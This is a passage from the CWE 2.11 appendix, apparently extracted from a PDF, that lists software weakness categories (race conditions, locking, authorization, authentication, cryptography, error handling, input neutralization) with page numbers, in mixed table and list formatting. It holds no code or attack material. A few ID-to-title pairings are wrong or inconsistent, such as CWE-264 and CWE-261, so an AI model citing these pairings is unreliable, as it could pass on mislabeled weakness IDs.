CWE-828: Signal Handler with Functionality that is not Asynchronous-Safe (p. 1263)
CWE-479: Signal Handler Use of a Non-reentrant Function (p. 809)
CWE-831: Signal Handler Function Associated with Multiple Signals (p. 1272)
CWE-366: Race Condition within a Thread (p. 641)
CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (p. 643)
CWE-363: Race Condition Enabling Link Following (p. 635)
CWE-365: Race Condition in Switch (p. 640)
CWE-609: Double-Checked Locking (p. 957)
CWE-368: Context Switching Race Condition (p. 647)
CWE-421: Race Condition During Access to Alternate Channel (p. 726)
CWE-662: Improper Synchronization (p. 1026)
CWE-663: Use of a Non-reentrant Function in a Concurrent Context (p. 1027)
CWE-479: Signal Handler Use of a Non-reentrant Function (p. 809)
CWE-558: Use of getlogin() in Multithreaded Application (p. 895)
CWE-667: Improper Locking (p. 1034)
CWE-412: Unrestricted Externally Accessible Lock (p. 712)
CWE-413: Improper Resource Locking (p. 714)
CWE-591: Sensitive Data Storage in Improperly Locked Memory (p. 934)
CWE-414: Missing Lock Check (p. 717)
CWE-609: Double-Checked Locking (p. 957)
CWE-764: Multiple Locks of a Critical Resource (p. 1171)
CWE-765: Multiple Unlocks of a Critical Resource (p. 1172)
CWE-832: Unlock of a Resource that is not Locked (p. 1274)
CWE-833: Deadlock (p. 1275)
CWE-820: Missing Synchronization (p. 1252)
CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context (p. 885)
CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context (p. 906)
CWE-821: Incorrect Synchronization (p. 1253)
CWE-572: Call to Thread run() instead of start() (p. 912)
CWE-574: EJB Bad Practices: Use of Synchronization Primitives (p. 914)
CWE-430: Deployment of Wrong Handler (p. 740)
CWE-431: Missing Handler (p. 741)
CWE-623: Unsafe ActiveX Control Marked Safe For Scripting (p. 973)
<table>
<thead>
<tr>
<th>CWE</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CWE-662</td>
<td>Improper Synchronization (p. 1026)</td>
</tr>
<tr>
<td>CWE-663</td>
<td>Use of a Non-reentrant Function in a Concurrent Context (p. 1027)</td>
</tr>
<tr>
<td>CWE-479</td>
<td>Signal Handler Use of a Non-reentrant Function (p. 809)</td>
</tr>
<tr>
<td>CWE-558</td>
<td>Use of <code>getlogin()</code> in Multithreaded Application (p. 895)</td>
</tr>
<tr>
<td>CWE-667</td>
<td>Improper Locking (p. 1034)</td>
</tr>
<tr>
<td>CWE-412</td>
<td>Unrestricted Externally Accessible Lock (p. 712)</td>
</tr>
<tr>
<td>CWE-413</td>
<td>Improper Resource Locking (p. 714)</td>
</tr>
<tr>
<td>CWE-591</td>
<td>Sensitive Data Storage in Improperly Locked Memory (p. 934)</td>
</tr>
<tr>
<td>CWE-414</td>
<td>Missing Lock Check (p. 717)</td>
</tr>
<tr>
<td>CWE-609</td>
<td>Double-Checked Locking (p. 957)</td>
</tr>
<tr>
<td>CWE-764</td>
<td>Multiple Locks of a Critical Resource (p. 1171)</td>
</tr>
<tr>
<td>CWE-765</td>
<td>Multiple Unlocks of a Critical Resource (p. 1172)</td>
</tr>
<tr>
<td>CWE-832</td>
<td>Unlock of a Resource that is not Locked (p. 1274)</td>
</tr>
<tr>
<td>CWE-833</td>
<td>Deadlock (p. 1275)</td>
</tr>
<tr>
<td>CWE-820</td>
<td>Missing Synchronization (p. 1252)</td>
</tr>
<tr>
<td>CWE-543</td>
<td>Use of Singleton Pattern Without Synchronization in a Multithreaded Context (p. 885)</td>
</tr>
<tr>
<td>CWE-567</td>
<td>Unsynchronized Access to Shared Data in a Multithreaded Context (p. 906)</td>
</tr>
<tr>
<td>CWE-821</td>
<td>Incorrect Synchronization (p. 1253)</td>
</tr>
<tr>
<td>CWE-572</td>
<td>Call to Thread <code>run()</code> instead of <code>start()</code> (p. 912)</td>
</tr>
<tr>
<td>CWE-574</td>
<td>EJB Bad Practices: Use of Synchronization Primitives (p. 914)</td>
</tr>
<tr>
<td>CWE-670</td>
<td>Always-Incorrect Control Flow Implementation (p. 1040)</td>
</tr>
<tr>
<td>CWE-480</td>
<td>Use of Incorrect Operator (p. 811)</td>
</tr>
<tr>
<td>CWE-481</td>
<td>Assigning instead of Comparing (p. 813)</td>
</tr>
<tr>
<td>CWE-482</td>
<td>Comparing instead of Assigning (p. 816)</td>
</tr>
<tr>
<td>CWE-597</td>
<td>Use of Wrong Operator in String Comparison (p. 940)</td>
</tr>
<tr>
<td>CWE-483</td>
<td>Incorrect Block Delimitation (p. 817)</td>
</tr>
<tr>
<td>CWE-484</td>
<td>Omitted Break Statement in Switch (p. 819)</td>
</tr>
<tr>
<td>CWE-617</td>
<td>Reachable Assertion (p. 966)</td>
</tr>
<tr>
<td>CWE-698</td>
<td>Execution After Redirect (EAR) (p. 1082)</td>
</tr>
<tr>
<td>CWE-783</td>
<td>Operator Precedence Logic Error (p. 1203)</td>
</tr>
<tr>
<td>CWE-696</td>
<td>Incorrect Behavior Order (p. 1080)</td>
</tr>
<tr>
<td>CWE-179</td>
<td>Incorrect Behavior Order: Early Validation (p. 345)</td>
</tr>
<tr>
<td>CWE-180</td>
<td>Incorrect Behavior Order: Validate Before Canonicalize (p. 347)</td>
</tr>
<tr>
<td>CWE-181</td>
<td>Incorrect Behavior Order: Validate Before Filter (p. 349)</td>
</tr>
<tr>
<td>CWE-408</td>
<td>Incorrect Behavior Order: Early Amplification (p. 708)</td>
</tr>
<tr>
<td>CWE-551</td>
<td>Incorrect Behavior Order: Authorization Before Parsing and Canonicalization (p. 891)</td>
</tr>
<tr>
<td>CWE-705</td>
<td>Incorrect Control Flow Scoping (p. 1108)</td>
</tr>
<tr>
<td>CWE-248</td>
<td>Uncaught Exception (p. 439)</td>
</tr>
<tr>
<td>CWE-600</td>
<td>Uncaught Exception in Servlet (p. 943)</td>
</tr>
<tr>
<td>CWE-382</td>
<td>J2EE Bad Practices: Use of System.exit() (p. 662)</td>
</tr>
<tr>
<td>CWE-395</td>
<td>Use of NullPointerException Catch to Detect NULL Pointer Dereference (p. 681)</td>
</tr>
<tr>
<td>CWE-396</td>
<td>Declaration of Catch for Generic Exception (p. 683)</td>
</tr>
<tr>
<td>CWE-397</td>
<td>Declaration of Throws for Generic Exception (p. 684)</td>
</tr>
<tr>
<td>CWE-455</td>
<td>Non-exec on Failed Initialization (p. 771)</td>
</tr>
<tr>
<td>CWE-584</td>
<td>Return Inside Finally Block (p. 926)</td>
</tr>
<tr>
<td>CWE-698</td>
<td>Execution After Redirect (EAR) (p. 1082)</td>
</tr>
<tr>
<td>CWE-749</td>
<td>Exposed Dangerous Method or Function (p. 1141)</td>
</tr>
<tr>
<td>CWE-618</td>
<td>Exposed Unsafe ActiveX Method (p. 968)</td>
</tr>
<tr>
<td>CWE-782</td>
<td>Exposed IOCTL with Insufficient Access Control (p. 1202)</td>
</tr>
<tr>
<td>CWE-768</td>
<td>Incorrect Short Circuit Evaluation (p. 1176)</td>
</tr>
<tr>
<td>CWE-799</td>
<td>Improper Control of Interaction Frequency (p. 1229)</td>
</tr>
<tr>
<td>CWE-307</td>
<td>Improper Restriction of Excessive Authentication Attempts (p. 542)</td>
</tr>
<tr>
<td>CWE-837</td>
<td>Improper Enforcement of a Single, Unique Action (p. 1280)</td>
</tr>
<tr>
<td>CWE-834</td>
<td>Excessive Iteration (p. 1276)</td>
</tr>
<tr>
<td>CWE-606</td>
<td>Unchecked Input for Loop Condition (p. 954)</td>
</tr>
</tbody>
</table>
Appendix A - Graph Views: CWE-1000: Research Concepts

- **CWE-674**: Uncontrolled Recursion (p. 1044)
  - **CWE-776**: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') (p. 1193)
- **CWE-835**: Loop with Unreachable Exit Condition ('Infinite Loop') (p. 1277)
- **CWE-841**: Improper Enforcement of Behavioral Workflow (p. 1288)
- **CWE-94**: Improper Control of Generation of Code ('Code Injection') (p. 173)
  - **CWE-95**: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection') (p. 177)
- **CWE-96**: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page (p. 183)
- **CWE-97**: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') (p. 181)
- **CWE-98**: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') (p. 184)
- **CWE-693**: Protection Mechanism Failure (p. 1077)
- **CWE-179**: Incorrect Behavior Order: Early Validation (p. 345)
- **CWE-180**: Incorrect Behavior Order: Validate Before Canonicalize (p. 347)
- **CWE-181**: Incorrect Behavior Order: Validate Before Filter (p. 349)
- **CWE-182**: Collapse of Data into Unsafe Value (p. 350)
- **CWE-183**: Permissive Whitelist (p. 352)
- **CWE-942**: Overly Permissive Cross-domain Whitelist (p. 1371)
- **CWE-184**: Incomplete Blacklist (p. 352)
- **CWE-20**: Improper Input Validation (p. 18)
  - **CWE-105**: Struts: Form Field Without Validator (p. 198)
- **CWE-26**: Improper Validation of Array Index (p. 258)
- **CWE-554**: ASP.NET Misconfiguration: Not Using Input Validation Framework (p. 893)
- **CWE-606**: Unchecked Input for Loop Condition (p. 954)
- **CWE-622**: Improper Validation of Function Hook Arguments (p. 972)
- **CWE-626**: Null Byte Interaction Error (Poison Null Byte) (p. 976)
- **CWE-781**: Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code (p. 1200)
- **CWE-789**: Uncontrolled Memory Allocation (p. 1215)
- **CWE-680**: Integer Overflow to Buffer Overflow (p. 1059)
- **CWE-690**: Unchecked Return Value to NULL Pointer Dereference (p. 1073)
- **CWE-692**: Incomplete Blacklist to Cross-Site Scripting (p. 1076)
- **CWE-284**: Improper Access Control (p. 500)
- **CWE-269**: Improper Privilege Management (p. 478)
  - **CWE-250**: Execution with Unnecessary Privileges (p. 441)
- **CWE-266**: Incorrect Privilege Assignment (p. 472)
  - **CWE-520**: .NET Misconfiguration: Use of Impersonation (p. 864)
  - **CWE-556**: ASP.NET Misconfiguration: Use of Identity Impersonation (p. 894)
  - **CWE-9**: J2EE Misconfiguration: Weak Access Permissions for EJB Methods (p. 7)
- **CWE-267**: Privilege Defined With Unsafe Actions (p. 474)
  - **CWE-623**: Unsafe ActiveX Control Marked Safe For Scripting (p. 973)
- **CWE-268**: Privilege Chaining (p. 476)
- **CWE-270**: Privilege Context Switching Error (p. 480)
- **CWE-271**: Privilege Dropping / Lowering Errors (p. 481)
  - **CWE-272**: Least Privilege Violation (p. 483)
  - **CWE-273**: Improper Check for Dropped Privileges (p. 486)
- **CWE-264**: Improper Handling of Insufficient Privileges (p. 488)
- **CWE-648**: Incorrect Use of Privileged APIs (p. 1006)
- **CWE-282**: Improper Ownership Management (p. 498)
  - **CWE-283**: Unverified Ownership (p. 499)
CWE-708: Incorrect Ownership Assignment (p. 1111)
CWE-285: Improper Authorization (p. 502)
CWE-219: Sensitive Data Under Web Root (p. 412)
CWE-433: Unparsed Raw Web Content Delivery (p. 743)
CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1124)
CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag (p. 1415)
CWE-276: Incorrect Default Permissions (p. 491)
CWE-277: Insecure Inherited Permissions (p. 493)
CWE-278: Insecure Preserved Inherited Permissions (p. 494)
CWE-279: Incorrect Execution-Assigned Permissions (p. 495)
CWE-281: Improper Preservation of Permissions (p. 497)
CWE-689: Permission Race Condition During Resource Copy (p. 1072)
CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p. 628)
CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1124)
CWE-862: Missing Authorization (p. 1303)
CWE-425: Direct Request ('Forced Browsing') (p. 729)
CWE-638: Not Using Complete Mediation (p. 988)
CWE-424: Improper Protection of Alternate Path (p. 728)
CWE-425: Direct Request ('Forced Browsing') (p. 729)
CWE-639: Authorization Bypass Through User-Controlled Key (p. 990)
CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key (p. 905)
CWE-939: Improper Authorization in Handler for Custom URL Scheme (p. 1366)
CWE-863: Incorrect Authorization (p. 1308)
CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization (p. 891)
CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions (p. 1004)
CWE-804: Guessable CAPTCHA (p. 1233)
CWE-926: Improper Export of Android Application Components (p. 1356)
CWE-927: Use of Implicit Intent for Sensitive Communication (p. 1359)
CWE-286: Incorrect User Management (p. 508)
CWE-842: Placement of User into Incorrect Group (p. 1290)
CWE-287: Improper Authentication (p. 508)
CWE-261: Weak Cryptography for Passwords (p. 465)
CWE-262: Not Using Password Aging (p. 467)
CWE-263: Password Aging with Long Expiration (p. 468)
CWE-288: Authentication Bypass Using an Alternate Path or Channel (p. 513)
CWE-425: Direct Request ('Forced Browsing') (p. 729)
CWE-289: Authentication Bypass by Alternate Name (p. 514)
CWE-290: Authentication Bypass by Spoofing (p. 516)
CWE-291: Reliance on IP Address for Authentication (p. 518)
CWE-293: Using Referer Field for Authentication (p. 520)
CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action (p. 609)
CWE-294: Authentication Bypass by Capture-replay (p. 521)
CWE-301: Reflection Attack in an Authentication Protocol (p. 533)
CWE-302: Authentication Bypass by Assumed-Immutable Data (p. 535)
CWE-303: Incorrect Implementation of Authentication Algorithm (p. 536)
CWE-305: Authentication Bypass by Primary Weakness (p. 537)
CWE-306: Missing Authentication for Critical Function (p. 538)
CWE-307: Improper Restriction of Excessive Authentication Attempts (p. 542)
CWE-308: Use of Single-factor Authentication (p. 545)
CWE-309: Use of Password System for Primary Authentication (p. 546)
CWE-521: Weak Password Requirements (p. 864)
CWE-258: Empty Password in Configuration File (p. 459)
CWE-522: Insufficiently Protected Credentials (p. 865)
<table>
<thead>
<tr>
<th>CWE-256: Plaintext Storage of a Password (p. 455)</th>
</tr>
</thead>
<tbody>
<tr>
<td>CWE-257: Storing Passwords in a Recoverable Format (p. 457)</td>
</tr>
<tr>
<td>CWE-260: Password in Configuration File (p. 464)</td>
</tr>
<tr>
<td>CWE-261: ASP.NET Misconfiguration: Password in Configuration File (p. 11)</td>
</tr>
<tr>
<td>CWE-258: Empty Password in Configuration File (p. 459)</td>
</tr>
<tr>
<td>CWE-523: Unprotected Transport of Credentials (p. 868)</td>
</tr>
<tr>
<td>CWE-549: Missing Password Field Masking (p. 890)</td>
</tr>
<tr>
<td>CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File (p. 894)</td>
</tr>
<tr>
<td>CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created (p. 935)</td>
</tr>
<tr>
<td>CWE-603: Use of Client-Side Authentication (p. 952)</td>
</tr>
<tr>
<td>CWE-613: Insufficient Session Expiration (p. 962)</td>
</tr>
<tr>
<td>CWE-620: Unverified Password Change (p. 969)</td>
</tr>
<tr>
<td>CWE-640: Weak Password Recovery Mechanism for Forgotten Password (p. 991)</td>
</tr>
<tr>
<td>CWE-645: Overly Restrictive Account Lockout Mechanism (p. 1002)</td>
</tr>
<tr>
<td>CWE-798: Use of Hard-coded Credentials (p. 1223)</td>
</tr>
<tr>
<td>CWE-259: Use of Hard-coded Password (p. 460)</td>
</tr>
<tr>
<td>CWE-321: Use of Hard-coded Cryptographic Key (p. 566)</td>
</tr>
<tr>
<td>CWE-804: Guessable CAPTCHA (p. 1233)</td>
</tr>
<tr>
<td>CWE-836: Use of Password Hash Instead of Password for Authentication (p. 1279)</td>
</tr>
<tr>
<td>CWE-384: Session Fixation (p. 665)</td>
</tr>
<tr>
<td>CWE-346: Origin Validation Error (p. 603)</td>
</tr>
<tr>
<td>CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p. 755)</td>
</tr>
<tr>
<td>CWE-472: External Control of Assumed-Immutable Web Parameter (p. 795)</td>
</tr>
<tr>
<td>CWE-346: Origin Validation Error (p. 603)</td>
</tr>
<tr>
<td>CWE-923: Improper Restriction of Communication Channel to Intended Endpoints (p. 1354)</td>
</tr>
<tr>
<td>CWE-291: Reliance on IP Address for Authentication (p. 518)</td>
</tr>
<tr>
<td>CWE-297: Improper Validation of Certificate with Host Mismatch (p. 526)</td>
</tr>
<tr>
<td>CWE-300: Channel Accessible by Non-Endpoint ('Man-in-the-Middle') (p. 531)</td>
</tr>
<tr>
<td>CWE-322: Key Exchange without Entity Authentication (p. 568)</td>
</tr>
<tr>
<td>CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action (p. 609)</td>
</tr>
<tr>
<td>CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action (p. 609)</td>
</tr>
<tr>
<td>CWE-419: Unprotected Primary Channel (p. 724)</td>
</tr>
<tr>
<td>CWE-420: Unprotected Alternate Channel (p. 725)</td>
</tr>
<tr>
<td>CWE-421: Race Condition During Access to Alternate Channel (p. 726)</td>
</tr>
<tr>
<td>CWE-422: Unprotected Windows Messaging Channel ('Shatter') (p. 727)</td>
</tr>
<tr>
<td>CWE-925: Improper Verification of Intent by Broadcast Receiver (p. 1355)</td>
</tr>
<tr>
<td>CWE-940: Improper Verification of Source of a Communication Channel (p. 1368)</td>
</tr>
<tr>
<td>CWE-941: Incorrectly Specified Destination in a Communication Channel (p. 1370)</td>
</tr>
<tr>
<td>CWE-942: Overly Permissive Cross-domain Whitelist (p. 1371)</td>
</tr>
<tr>
<td>CWE-295: Improper Certificate Validation (p. 522)</td>
</tr>
<tr>
<td>CWE-296: Improper Following of a Certificate's Chain of Trust (p. 525)</td>
</tr>
<tr>
<td>CWE-297: Improper Validation of Certificate with Host Mismatch (p. 526)</td>
</tr>
<tr>
<td>CWE-298: Improper Validation of Certificate Expiration (p. 528)</td>
</tr>
<tr>
<td>CWE-299: Improper Check for Certificate Revocation (p. 530)</td>
</tr>
<tr>
<td>CWE-370: Missing Check for Certificate Revocation after Initial Check (p. 650)</td>
</tr>
<tr>
<td>CWE-599: Missing Validation of OpenSSL Certificate (p. 942)</td>
</tr>
<tr>
<td>CWE-311: Missing Encryption of Sensitive Data (p. 549)</td>
</tr>
<tr>
<td>CWE-312: Cleartext Storage of Sensitive Information (p. 555)</td>
</tr>
<tr>
<td>CWE-313: Cleartext Storage in a File or on Disk (p. 557)</td>
</tr>
<tr>
<td>CWE-314: Cleartext Storage in the Registry (p. 559)</td>
</tr>
<tr>
<td>CWE-315: Cleartext Storage of Sensitive Information in a Cookie (p. 559)</td>
</tr>
<tr>
<td>CWE-316: Cleartext Storage of Sensitive Information in Memory (p. 560)</td>
</tr>
<tr>
<td>CWE-317: Cleartext Storage of Sensitive Information in GUI (p. 561)</td>
</tr>
<tr>
<td>CWE-318: Cleartext Storage of Sensitive Information in Executable (p. 562)</td>
</tr>
</tbody>
</table>
CWE Version 2.11

Appendix A - Graph Views: CWE-1000: Research Concepts

- CWE-319: Cleartext Transmission of Sensitive Information (p. 563)
- CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption (p. 2)
- CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute (p. 963)
- CWE-326: Inadequate Encryption Strength (p. 573)
- CWE-261: Weak Cryptography for Passwords (p. 465)
- CWE-328: Reversible One-Way Hash (p. 579)
- CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p. 574)
- CWE-208: Information Exposure Through Timing Discrepancy (p. 396)
- CWE-328: Reversible One-Way Hash (p. 579)
- CWE-780: Use of RSA Algorithm without OAEP (p. 1199)
- CWE-916: Use of a One-Way Hash with Insufficient Computational Effort (p. 1345)
- CWE-759: Use of a One-Way Hash without a Salt (p. 1156)
- CWE-760: Use of a One-Way Hash with a Predictable Salt (p. 1160)
- CWE-345: Insufficient Verification of Data Authenticity (p. 601)
- CWE-346: Origin Validation Error (p. 603)
- CWE-347: Improper Verification of Cryptographic Signature (p. 606)
- CWE-348: Use of Less Trusted Source (p. 607)
- CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data (p. 608)
- CWE-351: Insufficient Type Distinction (p. 611)
- CWE-353: Missing Support for Integrity Check (p. 617)
- CWE-354: Improper Validation of Integrity Check Value (p. 619)
- CWE-360: Trust of System Event Data (p. 626)
  - CWE-422: Unprotected Windows Messaging Channel ('Shatter') (p. 727)
  - CWE-616: Incomplete Identification of Uploaded File Variables (PHP) (p. 965)
  - CWE-646: Reliance on File Name or Extension of Externally-Supplied File (p. 1003)
  - CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking (p. 1008)
  - CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel (p. 1354)
  - CWE-352: Cross-Site Request Forgery (CSRF) (p. 612)
  - CWE-346: Origin Validation Error (p. 603)
  - CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p. 755)
  - CWE-613: Insufficient Session Expiration (p. 962)
  - CWE-642: External Control of Critical State Data (p. 995)
- CWE-357: Insufficient UI Warning of Dangerous Operations (p. 622)
- CWE-450: Multiple Interpretations of UI Input (p. 764)
- CWE-358: Improperly Implemented Security Check for Standard (p. 622)
- CWE-424: Improper Protection of Alternate Path (p. 728)
- CWE-425: Direct Request ('Forced Browsing') (p. 729)
- CWE-602: Client-Side Enforcement of Server-Side Security (p. 949)
- CWE-565: Reliance on Cookies without Validation and Integrity Checking (p. 903)
  - CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision (p. 1205)
- CWE-603: Use of Client-Side Authentication (p. 952)
- CWE-653: Insufficient Compartmentalization (p. 1012)
- CWE-654: Reliance on a Single Factor in a Security Decision (p. 1014)
- CWE-308: Use of Single-factor Authentication (p. 545)
- CWE-309: Use of Password System for Primary Authentication (p. 546)
- CWE-655: Insufficient Psychological Acceptability (p. 1016)
- CWE-656: Reliance on Security Through Obscurity (p. 1017)
- CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade') (p. 1155)
- CWE-778: Insufficient Logging (p. 1196)
- CWE-807: Reliance on Untrusted Inputs in a Security Decision (p. 1243)
- CWE-302: Authentication Bypass by Assumed-Immutable Data (p. 535)
- CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action (p. 609)
Appendix A - Graph Views: CWE-1000: Research Concepts

- CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision (p. 1205)
- CWE-697: Insufficient Comparison (p. 1081)
- CWE-183: Permissive Whitelist (p. 352)
  - CWE-942: Overly Permissive Cross-domain Whitelist (p. 1371)
- CWE-184: Incomplete Blacklist (p. 352)
- CWE-185: Incorrect Regular Expression (p. 355)
  - CWE-186: Overly Restrictive Regular Expression (p. 356)
  - CWE-625: Permissive Regular Expression (p. 975)
  - CWE-777: Regular Expression without Anchors (p. 1195)
- CWE-187: Partial Comparison (p. 357)
  - CWE-185: Incorrect Regular Expression (p. 355)
  - CWE-186: Overly Restrictive Regular Expression (p. 356)
  - CWE-625: Permissive Regular Expression (p. 975)
  - CWE-777: Regular Expression without Anchors (p. 1195)
- CWE-839: Numeric Range Comparison Without Minimum Check (p. 1283)
- CWE-372: Incomplete Internal State Distinction (p. 652)
- CWE-478: Missing Default Case in Switch Statement (p. 806)
- CWE-481: Assigning instead of Comparing (p. 813)
- CWE-486: Comparison of Classes by Name (p. 822)
- CWE-595: Comparison of Object References Instead of Object Contents (p. 938)
  - CWE-597: Use of Wrong Operator in String Comparison (p. 940)
- CWE-596: Incorrect Semantic Object Comparison (p. 939)
- CWE-703: Improper Check or Handling of Exceptional Conditions (p. 1105)
- CWE-166: Improper Handling of Missing Special Element (p. 324)
- CWE-167: Improper Handling of Additional Special Element (p. 325)
- CWE-168: Improper Handling of Inconsistent Special Elements (p. 326)
- CWE-228: Improper Handling of Syntactically Invalid Structure (p. 420)
  - CWE-229: Improper Handling of Values (p. 422)
    - CWE-230: Improper Handling of Missing Values (p. 422)
    - CWE-231: Improper Handling of Extra Values (p. 423)
    - CWE-232: Improper Handling of Undefined Values (p. 424)
  - CWE-233: Improper Handling of Parameters (p. 425)
    - CWE-234: Failure to Handle Missing Parameter (p. 426)
    - CWE-235: Improper Handling of Extra Parameters (p. 427)
    - CWE-236: Improper Handling of Undefined Parameters (p. 428)
  - CWE-237: Improper Handling of Structural Elements (p. 429)
    - CWE-238: Improper Handling of Incomplete Structural Elements (p. 429)
    - CWE-239: Failure to Handle Incomplete Element (p. 430)
    - CWE-240: Improper Handling of Inconsistent Structural Elements (p. 430)
      - CWE-130: Improper Handling of Length Parameter Inconsistency (p. 266)
  - CWE-241: Improper Handling of Unexpected Data Type (p. 431)
- CWE-248: Uncaught Exception (p. 439)
  - CWE-600: Uncaught Exception in Servlet (p. 943)
- CWE-274: Improper Handling of Insufficient Privileges (p. 488)
- CWE-280: Improper Handling of Insufficient Permissions or Privileges (p. 496)
- CWE-333: Improper Handling of Insufficient Entropy in TRNG (p. 589)
- CWE-391: Unchecked Error Condition (p. 677)
- CWE-392: Missing Report of Error Condition (p. 678)
- CWE-393: Return of Wrong Status Code (p. 679)
- CWE-397: Declaration of Throws for Generic Exception (p. 684)
- CWE-754: Improper Check for Unusual or Exceptional Conditions (p. 1146)
  - CWE-252: Unchecked Return Value (p. 447)
  - CWE-253: Incorrect Check of Function Return Value (p. 452)
  - CWE-273: Improper Check for Dropped Privileges (p. 486)
  - CWE-354: Improper Validation of Integrity Check Value (p. 619)
Appendix A - Graph Views: CWE-1000: Research Concepts

CWE-394: Unexpected Status Code or Return Value (p. 681)
CWE-755: Improper Handling of Exceptional Conditions (p. 1153)
CWE-209: Information Exposure Through an Error Message (p. 397)
  CWE-210: Information Exposure Through Self-generated Error Message (p. 402)
  CWE-535: Information Exposure Through Shell Error Message (p. 877)
  CWE-536: Information Exposure Through Servlet Runtime Error Message (p. 878)
  CWE-537: Information Exposure Through Java Runtime Error Message (p. 879)
CWE-211: Information Exposure Through Externally-generated Error Message (p. 404)
CWE-550: Information Exposure Through Server Error Message (p. 890)
CWE-756: Missing Custom Error Page (p. 1154)
  CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page (p. 9)
  CWE-7: J2EE Misconfiguration: Missing Custom Error Page (p. 5)
CWE-390: Detection of Error Condition Without Action (p. 673)
CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference (p. 681)
CWE-396: Declaration of Catch for Generic Exception (p. 683)
CWE-460: Improper Cleanup on Thrown Exception (p. 779)
CWE-544: Missing Standardized Error Handling Mechanism (p. 886)
CWE-636: Not Failing Securely (‘Failing Open’) (p. 985)
  CWE-455: Non-exit on Failed Initialization (p. 771)
CWE-756: Missing Custom Error Page (p. 1154)
  CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page (p. 9)
  CWE-7: J2EE Misconfiguration: Missing Custom Error Page (p. 5)
CWE-707: Improper Enforcement of Message or Data Structure (p. 1110)
CWE-116: Improper Encoding or Escaping of Output (p. 217)
CWE-117: Improper Output Neutralization for Logs (p. 223)
CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax (p. 1001)
CWE-838: Inappropriate Encoding for Output Context (p. 1281)
CWE-138: Improper Neutralization of Special Elements (p. 284)
CWE-140: Improper Neutralization of Delimiters (p. 287)
  CWE-141: Improper Neutralization of Parameter/Argument Delimiters (p. 289)
  CWE-142: Improper Neutralization of Value Delimiters (p. 290)
  CWE-143: Improper Neutralization of Record Delimiters (p. 291)
  CWE-144: Improper Neutralization of Line Delimiters (p. 293)
  CWE-145: Improper Neutralization of Section Delimiters (p. 294)
  CWE-146: Improper Neutralization of Expression/Command Delimiters (p. 296)
CWE-147: Improper Neutralization of Input Terminators (p. 297)
CWE-148: Improper Neutralization of Input Leaders (p. 298)
CWE-149: Improper Neutralization of Quoting Syntax (p. 299)
CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences (p. 301)
CWE-151: Improper Neutralization of Comment Delimiters (p. 302)
CWE-152: Improper Neutralization of Macro Symbols (p. 304)
CWE-153: Improper Neutralization of Substitution Characters (p. 305)
CWE-154: Improper Neutralization of Variable Name Delimiters (p. 307)
CWE-155: Improper Neutralization of Wildcards or Matching Symbols (p. 308)
  CWE-56: Path Equivalence: ‘filedir*’ (Wildcard) (p. 88)
CWE-156: Improper Neutralization of Whitespace (p. 309)
CWE-157: Failure to Sanitize Paired Delimiters (p. 311)
CWE-158: Improper Neutralization of Null Byte or NUL Character (p. 312)
CWE-159: Failure to Sanitize Special Element (p. 314)
  CWE-160: Improper Neutralization of Leading Special Elements (p. 316)
    CWE-161: Improper Neutralization of Multiple Leading Special Elements (p. 317)
    CWE-50: Path Equivalence: ‘/multiple/leading/slash’ (p. 83)
  CWE-37: Path Traversal: ‘/absolute/pathname/here’ (p. 67)
CWE-162: Improper Neutralization of Trailing Special Elements (p. 319)
<table>
<thead>
<tr>
<th>CWE</th>
<th>Description</th>
<th>Page(s)</th>
</tr>
</thead>
<tbody>
<tr>
<td>CWE-163</td>
<td>Improper Neutralization of Multiple Trailing Special Elements</td>
<td>(p. 320)</td>
</tr>
<tr>
<td>CWE-43</td>
<td>Path Equivalence: 'filename....' (Multiple Trailing Dot)</td>
<td>(p. 79)</td>
</tr>
<tr>
<td>CWE-52</td>
<td>Path Equivalence: '/multiple/trailing/slash/'</td>
<td>(p. 85)</td>
</tr>
<tr>
<td>CWE-42</td>
<td>Path Equivalence: 'filename.' (Trailing Dot)</td>
<td>(p. 78)</td>
</tr>
<tr>
<td>CWE-43</td>
<td>Path Equivalence: 'filename....' (Multiple Trailing Dot)</td>
<td>(p. 79)</td>
</tr>
<tr>
<td>CWE-46</td>
<td>Path Equivalence: 'filename ' (Trailing Space)</td>
<td>(p. 80)</td>
</tr>
<tr>
<td>CWE-49</td>
<td>Path Equivalence: 'filename/ (Trailing Slash)</td>
<td>(p. 83)</td>
</tr>
<tr>
<td>CWE-54</td>
<td>Path Equivalence: 'filedir\ (Trailing Backslash)</td>
